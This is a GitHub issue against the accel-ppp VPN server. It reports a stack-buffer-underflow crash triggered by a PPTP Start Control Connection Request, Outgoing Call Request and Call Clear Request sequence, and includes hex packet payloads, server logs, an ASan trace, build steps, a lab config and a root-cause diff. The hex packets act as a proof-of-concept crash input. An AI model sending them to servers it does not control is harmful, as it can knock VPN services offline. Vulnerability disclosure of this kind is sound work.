xebd / accel-ppp

High performance PPTP/L2TP/PPPoE/IPoE server for Linux
GNU General Public License v2.0
302 stars 107 forks source link

Abnormal packet sequence can cause stack-buffer-underflow #158

Open GoldBinocle opened 3 years ago

GoldBinocle commented 3 years ago

Using version accel-ppp version 1.12.0-149-gff91c73.

Summary

Sending PPTP Call Clear Request Packet after PPTP Start Control Connection Request and PPTP Outgoing Call Request to server can cause stack-buffer-underflow.

PoC

Here is the detailed information of sent packets:

hexstream:
009c00011a2b3c4d00010000010000000000000300000003ffff00016c6f63616c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000063616e616e69616e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

packet structure:
###[ PPTP Start Control Connection Request ]### 
  len       = 156
  type      = Control Message
  magic_cookie= 0x1a2b3c4d
  ctrl_msg_type= Start-Control-Connection-Request
  reserved_0= 0x0
  protocol_version= 256
  reserved_1= 0x0
  framing_capabilities= Asynchronous Framing supported+Synchronous Framing supported
  bearer_capabilities= Analog access supported+Digital access supported
  maximum_channels= 65535
  firmware_revision= 1
  host_name = 'local'
  vendor_string= 'cananian'
hexstream:
00a800011a2b3c4d00070000e60c00000000096000989680000000030000000300030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

packet structure:
###[ PPTP Outgoing Call Request ]### 
  len       = 168
  type      = Control Message
  magic_cookie= 0x1a2b3c4d
  ctrl_msg_type= Outgoing-Call-Request
  reserved_0= 0x0
  call_id   = 58892
  call_serial_number= 0
  minimum_bps= 2400
  maximum_bps= 10000000
  bearer_type= Any type of channel
  framing_type= Any type of framing
  pkt_window_size= 3
  pkt_proc_delay= 0
  phone_number_len= 0
  reserved_1= 0x0
  phone_number= ''
  subaddress= ''
hexstream:
001000011a2b3c4d000c0000e60c0000

packet structure:
###[ PPTP Call Clear Request ]### 
  len       = 16
  type      = Control Message
  magic_cookie= 0x1a2b3c4d
  ctrl_msg_type= Call-Clear-Request
  reserved_0= 0x0
  call_id   = 58892
  reserved_1= 0x0

Hint: the call_id field is randomly generated thus directly forwarding those three packets might not reproduce the scene. To reproduce it, it's neccessary to construct similar packets.

Crash report

log of server:

[2021-10-18 13:23:01.445] accel-ppp version 1.12.0-149-gff91c73
[2021-10-18 13:23:01.477] pptp: iprange module disabled, improper IP configuration of PPP interfaces may cause kernel soft lockup
[2021-10-18 13:23:01.479] l2tp: iprange module disabled, improper IP configuration of PPP interfaces may cause kernel soft lockup
[2021-10-18 13:23:01.516] pptp: new connection from 127.0.0.1
[2021-10-18 13:23:01.517] : : recv [PPTP Start-Ctrl-Conn-Request <Version 1> <Framing 3> <Bearer 3> <Max-Chan 65535>]
[2021-10-18 13:23:01.517] : : send [PPTP Start-Ctrl-Conn-Reply <Version 1> <Result 1> <Error 0> <Framing 3> <Bearer 3> <Max-Chan 1>]
[2021-10-18 13:23:02.516] : : recv [PPTP Outgoing-Call-Request <Call-ID e60c> <Call-Serial 0> <Min-BPS 2400> <Max-BPS 10000000> <Bearer 3> <Framing 3> <Window-Size 3> <Delay 0>]
[2021-10-18 13:23:02.517] : : send [PPTP Outgoing-Call-Reply <Call-ID 615> <Peer-Call-ID e60c> <Result 1> <Error 0> <Cause 0> <Speed 10000000> <Window-Size 3> <Delay 0> <Channel 0>]
[2021-10-18 13:23:02.517] : : lcp_layer_init
[2021-10-18 13:23:02.517] : : auth_layer_init
[2021-10-18 13:23:02.517] : : ccp_layer_init
[2021-10-18 13:23:02.517] : : ipcp_layer_init
[2021-10-18 13:23:02.517] : : ipv6cp_layer_init
[2021-10-18 13:23:02.517] : : ppp establishing
[2021-10-18 13:23:02.518] : 78a9b1ca73684d70: lcp_layer_start
[2021-10-18 13:23:02.518] : 78a9b1ca73684d70: send [LCP ConfReq id=71 <auth MSCHAP-v2> <mru 1400> <magic 465aee3b>]
[2021-10-18 13:23:03.495] terminate, sig = 15
[2021-10-18 13:23:03.495] : 78a9b1ca73684d70: terminate
[2021-10-18 13:23:03.495] : 78a9b1ca73684d70: lcp_layer_finish
[2021-10-18 13:23:03.496] : 78a9b1ca73684d70: pptp: ppp finished
[2021-10-18 13:23:03.496] : 78a9b1ca73684d70: send [PPTP Call-Disconnect-Notify <Call-ID ce6> <Result 3> <Error 0> <Cause 0>]
[2021-10-18 13:23:03.496] : 78a9b1ca73684d70: send [PPTP Stop-Ctrl-Conn-Request <Reason 0>]
[2021-10-18 13:23:03.521] : 78a9b1ca73684d70: lcp_layer_free
[2021-10-18 13:23:03.521] : 78a9b1ca73684d70: auth_layer_free
[2021-10-18 13:23:03.521] : 78a9b1ca73684d70: ccp_layer_free
[2021-10-18 13:23:03.521] : 78a9b1ca73684d70: ipcp_layer_free
[2021-10-18 13:23:03.521] : 78a9b1ca73684d70: ipv6cp_layer_free
[2021-10-18 13:23:03.521] : 78a9b1ca73684d70: recv [PPTP Call-Clear-Request <Call-ID e60c>]
[2021-10-18 13:23:03.521] : 78a9b1ca73684d70: send [PPTP Call-Disconnect-Notify <Call-ID ce6> <Result 4> <Error 0> <Cause 0>]

Here is the asan report:

==2434668==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7f785e8afe1f at pc 0x000000499d97 bp 0x7f7862ed07c0 sp 0x7f7862ecff88
READ of size 149 at 0x7f785e8afe1f thread T7
    #0 0x499d96 in __asan_memcpy /home/brian/src/llvm_releases/llvm-project/llvm/utils/release/final/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3
    #1 0x7f786b3e5d1f in post_msg /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:150:3
    #2 0x7f786b3e6a19 in send_pptp_call_disconnect_notify /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:385:9
    #3 0x7f786b3e13bd in pptp_call_clear_rqst /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:404:9
    #4 0x7f786b3e13bd in process_packet /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:478:11
    #5 0x7f786b3e13bd in pptp_read /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:527:9
    #6 0x7f78714c81c1 in ctx_thread /root/projects/accel-ppp/accel-pppd/triton/triton.c:252:10
    #7 0x7f78714c81c1 in triton_thread /root/projects/accel-ppp/accel-pppd/triton/triton.c:192:5
    #8 0x7f7871485608 in start_thread /build/glibc-eX1tMB/glibc-2.31/nptl/pthread_create.c:477:8
    #9 0x7f7870e5e292 in clone /build/glibc-eX1tMB/glibc-2.31/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:95

Address 0x7f785e8afe1f is located in stack of thread T7 at offset 31 in frame
    #0 0x7f786b3e666f in send_pptp_call_disconnect_notify /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:373

  This frame has 1 object(s):
    [32, 180) 'msg' (line 374) <== Memory access at offset 31 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
Thread T7 created by T0 here:
    #0 0x484d4c in pthread_create /home/brian/src/llvm_releases/llvm-project/llvm/utils/release/final/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:205:3
    #1 0x7f78714c6eee in create_thread /root/projects/accel-ppp/accel-pppd/triton/triton.c:320:9
    #2 0x7f78714cdc17 in triton_run /root/projects/accel-ppp/accel-pppd/triton/triton.c:744:7
    #3 0x559603 in main /root/projects/accel-ppp/accel-pppd/main.c:415:2
    #4 0x7f7870d630b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: stack-buffer-underflow /home/brian/src/llvm_releases/llvm-project/llvm/utils/release/final/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3 in __asan_memcpy
Shadow bytes around the buggy address:
  0x0fef8bd0df70: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
  0x0fef8bd0df80: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
  0x0fef8bd0df90: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
  0x0fef8bd0dfa0: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
  0x0fef8bd0dfb0: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
=>0x0fef8bd0dfc0: f1 f1 f1[f1]00 00 00 00 00 00 00 00 00 00 00 00
  0x0fef8bd0dfd0: 00 00 00 00 00 00 04 f3 f3 f3 f3 f3 f3 f3 f3 f3
  0x0fef8bd0dfe0: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
  0x0fef8bd0dff0: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
  0x0fef8bd0e000: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
  0x0fef8bd0e010: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==2434668==ABORTING

Reproduce info

Build access-ppp:

mkdir build && cd build
cmake -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-fsanitize=address -g" -DCMAKE_CXX_FLAGS="-fsanitize=address -g" -DBUILD_DRIVER=false -DCMAKE_INSTALL_PREFIX=/usr/local -DCMAKE_BUILD_TYPE=Debug -DLOG_PGSQL=TRUE -DSHAPER=TRUE -DRADIUS=TRUE -DNETSNMP=TRUE ..
CC=clang CXX=clang++ CFLAGS="-fsanitize=address -g" CXXFLAGS="-fsanitize=address -g" make -j
make install

Run access-pppd, use the following command:

accel-pppd -c /etc/accel-ppp.conf

The running configuration /etc/accel-ppp.conf is:

[modules]
 log_file
 #log_syslog
 #log_tcp
 #log_pgsql

 pptp
 l2tp
 #sstp
 #pppoe
 #ipoe

 auth_mschap_v2
 auth_mschap_v1
 auth_chap_md5
 auth_pap

 #radius
 chap-secrets

 ippool

 pppd_compat

 #shaper
 #net-snmp
 #logwtmp
 #connlimit

 #ipv6_nd
 #ipv6_dhcp
 #ipv6pool

 [core]
 log-error=/var/log/accel-ppp/core.log
 thread-count=4

 [common]
 #single-session=replace
 #single-session-ignore-case=0
 #sid-case=upper
 #sid-source=seq
 #max-sessions=1000
 #max-starting=0
 #check-ip=0

 [ppp]
 verbose=1
 min-mtu=1280
 mtu=1400
 mru=1400
 #accomp=deny
 #pcomp=deny
 #ccp=0
 #mppe=require
 ipv4=require
 ipv6=deny
 ipv6-intf-id=0:0:0:1
 ipv6-peer-intf-id=0:0:0:2
 ipv6-accept-peer-intf-id=1
 lcp-echo-interval=20
 #lcp-echo-failure=3
 lcp-echo-timeout=120
 unit-cache=1
 #unit-preallocate=1

 [auth]
 #any-login=0
 #noauth=0

 [pptp]
 verbose=1
 #echo-interval=30
 ip-pool=pool1
 #ipv6-pool=pptp
 #ipv6-pool-delegate=pptp
 ifname=pptp%d
 #port=9300
 #mppe=prefer

 [pppoe]
 verbose=1
 #ac-name=xxx
 #service-name=yyy
 #pado-delay=0
 #pado-delay=0,100:100,200:200,-1:500
 called-sid=mac
 #tr101=1
 #padi-limit=0
 #ip-pool=pppoe
 #ipv6-pool=pppoe
 #ipv6-pool-delegate=pppoe
 #ifname=pppoe%d
 #sid-uppercase=0
 #vlan-mon=eth0,10-200
 #vlan-timeout=60
 #vlan-name=%I.%N
 #interface=eth1,padi-limit=1000
 interface=ens18

 [l2tp]
 verbose=1
 #dictionary=/usr/local/share/accel-ppp/l2tp/dictionary
 #hello-interval=60
 #timeout=60
 #rtimeout=1
 #rtimeout-cap=16
 #retransmit=5
 #recv-window=16
 #host-name=accel-ppp
 #dir300_quirk=0
 #secret=
 #dataseq=allow
 #reorder-timeout=0
 #ip-pool=l2tp
 #ipv6-pool=l2tp
 #ipv6-pool-delegate=l2tp
 #ifname=l2tp%d

 [sstp]
 verbose=1
 #cert-hash-proto=sha1,sha256
 #cert-hash-sha1=
 #cert-hash-sha256=
 #accept=ssl,proxy
 #ssl-protocol=tls1,tls1.1,tls1.2,tls1.3
 #ssl-dhparam=/etc/ssl/dhparam.pem
 #ssl-ecdh-curve=prime256v1
 #ssl-ciphers=DEFAULT
 #ssl-prefer-server-ciphers=0
 #ssl-ca-file=/etc/ssl/sstp-ca.crt
 #ssl-pemfile=/etc/ssl/sstp-cert.pem
 #ssl-keyfile=/etc/ssl/sstp-key.pem
 #host-name=domain.tld
 #http-error=allow
 #timeout=60
 #hello-interval=60
 #ip-pool=sstp
 #ipv6-pool=sstp
 #ipv6-pool-delegate=sstp
 #ifname=sstp%d

 [ipoe]
 verbose=1
 username=ifname
 #password=username
 lease-time=600
 #renew-time=300
 #rebind-time=525
 max-lease-time=3600
 #unit-cache=1000
 #l4-redirect-table=4
 #l4-redirect-ipset=l4
 #l4-redirect-on-reject=300
 #l4-redirect-ip-pool=pool1
 shared=0
 ifcfg=1
 mode=L2
 start=dhcpv4
 #start=up
 #ip-unnumbered=1
 #proxy-arp=0
 #nat=0
 #proto=100
 #relay=10.10.10.10
 #vendor=Custom
 #weight=0
 #attr-dhcp-client-ip=DHCP-Client-IP-Address
 #attr-dhcp-router-ip=DHCP-Router-IP-Address
 #attr-dhcp-mask=DHCP-Mask
 #attr-dhcp-lease-time=DHCP-Lease-Time
 #attr-dhcp-renew-time=DHCP-Renewal-Time
 #attr-dhcp-rebind-time=DHCP-Rebinding-Time
 #attr-dhcp-opt82=DHCP-Option82
 #attr-dhcp-opt82-remote-id=DHCP-Agent-Remote-Id
 #attr-dhcp-opt82-circuit-id=DHCP-Agent-Circuit-Id
 #attr-l4-redirect=L4-Redirect
 #attr-l4-redirect-table=4
 #attr-l4-redirect-ipset=l4-redirect
 #lua-file=/etc/accel-ppp.lua
 #offer-delay=0,100:100,200:200,-1:1000
 #vlan-mon=eth0,10-200
 #vlan-timeout=60
 #vlan-name=%I.%N
 #ip-pool=ipoe
 #ipv6-pool=ipoe
 #ipv6-pool-delegate=ipoe
 #idle-timeout=0
 #session-timeout=0
 #soft-terminate=0
 #check-mac-change=1
 #calling-sid=mac
 #local-net=192.168.0.0/16
 interface=eth0

 [dns]
 #dns1=172.16.0.1
 #dns2=172.16.1.1

 [wins]
 #wins1=172.16.0.1
 #wins2=172.16.1.1

 [radius]
 #dictionary=/usr/local/share/accel-ppp/radius/dictionary
 nas-identifier=accel-ppp
 nas-ip-address=127.0.0.1
 gw-ip-address=192.168.100.1
 server=127.0.0.1,testing123,auth-port=1812,acct-port=1813,req-limit=50,fail-timeout=0,max-fail=10,weight=1
 dae-server=127.0.0.1:3799,testing123
 verbose=1
 #timeout=3
 #max-try=3
 #acct-timeout=120
 #acct-delay-time=0
 #acct-on=0
 #acct-interim-interval=0
 #acct-interim-jitter=0
 #default-realm=
 #strip-realm=0
 #attr-tunnel-type=My-Tunnel-Type

 [client-ip-range]
 0.0.0.0/0

 [ip-pool]
 gw-ip-address=192.168.0.1
 #vendor=Cisco
 #attr=Cisco-AVPair
 attr=Framed-Pool
 192.168.0.2-255
 192.168.1.1-255,name=pool1
 192.168.2.1-255,name=pool2
 192.168.3.1-255,name=pool3
 192.168.4.1-255,name=pool4,next=pool1
 192.168.4.0/24

 [log]
 log-file=/var/log/accel-ppp/accel-ppp.log
 log-emerg=/var/log/accel-ppp/emerg.log
 log-fail-file=/var/log/accel-ppp/auth-fail.log
 log-debug=/dev/stdout
 syslog=accel-pppd,daemon
 #log-tcp=127.0.0.1:3000
 copy=1
 color=1
 #per-user-dir=per_user
 #per-session-dir=per_session
 #per-session=1
 level=5

 [log-pgsql]
 conninfo=user=log
 log-table=log

 [pppd-compat]
 verbose=1
 #ip-pre-up=/etc/ppp/ip-pre-up
 ip-up=/etc/ppp/ip-up
 ip-down=/etc/ppp/ip-down
 #ip-change=/etc/ppp/ip-change
 radattr-prefix=/var/run/radattr
 #fork-limit=16

 [chap-secrets]
 gw-ip-address=192.168.100.1
 chap-secrets=/etc/ppp/chap-secrets.ppp
 #encrypted=0
 #username-hash=md5

 [shaper]
 #attr=Filter-Id
 #down-burst-factor=0.1
 #up-burst-factor=1.0
 #latency=50
 #mpu=0
 #mtu=0
 #r2q=10
 #quantum=1500
 #moderate-quantum=1
 #cburst=1534
 #ifb=ifb0
 up-limiter=police
 down-limiter=tbf
 #leaf-qdisc=sfq perturb 10
 #leaf-qdisc=fq_codel [limit PACKETS] [flows NUMBER] [target TIME] [interval TIME] [quantum BYTES] [[no]ecn]
 #rate-multiplier=1
 #fwmark=1
 #rate-limit=2048/1024
 verbose=1

 [cli]
 verbose=1
 telnet=127.0.0.1:2000
 tcp=127.0.0.1:2001
 #password=123
 #sessions-columns=ifname,username,ip,ip6,ip6-dp,type,state,uptime,uptime-raw,calling-sid,called-sid,sid,comp,rx-bytes,tx-bytes,rx-bytes-raw,tx-bytes-raw,rx-pkts,tx-pkts

 [snmp]
 master=0
 agent-name=accel-ppp

 [connlimit]
 limit=10/min
 burst=3
 timeout=60

 [ipv6-pool]
 #gw-ip6-address=fc00:0:1::1
 #vendor=
 #attr-prefix=Delegated-IPv6-Prefix-Pool
 #attr-address=Stateful-IPv6-Address-Pool
 fc00:0:1::/48,64
 fc00:0:2::/48,64,name=pool1
 fc00:0:3::/48,64,name=pool2,next=pool1
 delegate=fc00:1::/36,48
 delegate=fc00:2::/36,48,name=pool3
 delegate=fc00:3::/36,48,name=pool4,next=pool3

 [ipv6-dns]
 #fc00:1::1
 #fc00:1::2
 #fc00:1::3
 #dnssl=suffix1.local.net
 #dnssl=suffix2.local.net.

 [ipv6-dhcp]
 verbose=1
 pref-lifetime=604800
 valid-lifetime=2592000
 route-via-gw=1

use chap-secrets and the /etc/ppp/chap-secrets.ppp is as follows:

# Secrets for authentication using CHAP
# client    server  secret          IP addresses
fouzhe * 123 *
GoldBinocle commented 3 years ago

To make clear the reason of the crash, we added some debug information to see the value of n and errno before memcpy:

diff --git a/accel-pppd/ctrl/pptp/pptp.c b/accel-pppd/ctrl/pptp/pptp.c
index a5bcaca..89e4b78 100644
--- a/accel-pppd/ctrl/pptp/pptp.c
+++ b/accel-pppd/ctrl/pptp/pptp.c
@@ -145,6 +145,8 @@ again:
                        }
                }
        }
+       log_info2("[debug] n: %d\n", n);
+       log_info2("[debug] errno: %d\n", errno);

        if ( n<size ) {
                memcpy(conn->out_buf, (uint8_t *)buf + n, size - n);

then the server log becomes:

[2021-10-20 21:06:25.367] accel-ppp version 1.12.0-149-gff91c73
[2021-10-20 21:06:25.393] pptp: iprange module disabled, improper IP configuration of PPP interfaces may cause kernel soft lockup
[2021-10-20 21:06:25.394] l2tp: iprange module disabled, improper IP configuration of PPP interfaces may cause kernel soft lockup
[2021-10-20 21:06:25.446] pptp: new connection from 127.0.0.1
[2021-10-20 21:06:25.447] : : recv [PPTP Start-Ctrl-Conn-Request <Version 1> <Framing 3> <Bearer 3> <Max-Chan 65535>]
[2021-10-20 21:06:25.447] : : send [PPTP Start-Ctrl-Conn-Reply <Version 1> <Result 1> <Error 0> <Framing 3> <Bearer 3> <Max-Chan 1>]
[2021-10-20 21:06:25.447] [debug] n: 156
[2021-10-20 21:06:25.447] [debug] errno: 11
[2021-10-20 21:06:26.447] : : recv [PPTP Outgoing-Call-Request <Call-ID 8203> <Call-Serial 0> <Min-BPS 2400> <Max-BPS 10000000> <Bearer 3> <Framing 3> <Window-Size 3> <Delay 0>]
[2021-10-20 21:06:26.447] : : send [PPTP Outgoing-Call-Reply <Call-ID 8e1c> <Peer-Call-ID 8203> <Result 1> <Error 0> <Cause 0> <Speed 10000000> <Window-Size 3> <Delay 0> <Channel 0>]
[2021-10-20 21:06:26.448] [debug] n: 32
[2021-10-20 21:06:26.448] [debug] errno: 11
[2021-10-20 21:06:26.448] : : lcp_layer_init
[2021-10-20 21:06:26.448] : : auth_layer_init
[2021-10-20 21:06:26.448] : : ccp_layer_init
[2021-10-20 21:06:26.448] : : ipcp_layer_init
[2021-10-20 21:06:26.448] : : ipv6cp_layer_init
[2021-10-20 21:06:26.448] : : ppp establishing
[2021-10-20 21:06:26.449] : 78a9b1ca764827a7: lcp_layer_start
[2021-10-20 21:06:26.449] : 78a9b1ca764827a7: send [LCP ConfReq id=f9 <auth MSCHAP-v2> <mru 1400> <magic 3b7f6329>]
[2021-10-20 21:06:26.922] terminate, sig = 15
[2021-10-20 21:06:26.922] : 78a9b1ca764827a7: terminate
[2021-10-20 21:06:26.922] : 78a9b1ca764827a7: lcp_layer_finish
[2021-10-20 21:06:26.922] : 78a9b1ca764827a7: pptp: ppp finished
[2021-10-20 21:06:26.922] : 78a9b1ca764827a7: send [PPTP Call-Disconnect-Notify <Call-ID 382> <Result 3> <Error 0> <Cause 0>]
[2021-10-20 21:06:26.923] [debug] n: 148
[2021-10-20 21:06:26.923] [debug] errno: 11
[2021-10-20 21:06:26.923] : 78a9b1ca764827a7: send [PPTP Stop-Ctrl-Conn-Request <Reason 0>]
[2021-10-20 21:06:26.923] [debug] n: -1
[2021-10-20 21:06:26.923] [debug] errno: 32

From above, we can infer that, the code doesn't handle the situation when write fails due to EPIPE: https://github.com/xebd/accel-ppp/blob/1b8711cf75a7c278d99840112bc7a396398e0205/accel-pppd/ctrl/pptp/pptp.c#L135-L152

The return value of write is -1 (thus n=-1), causing underflow read of buf: https://github.com/xebd/accel-ppp/blob/1b8711cf75a7c278d99840112bc7a396398e0205/accel-pppd/ctrl/pptp/pptp.c#L150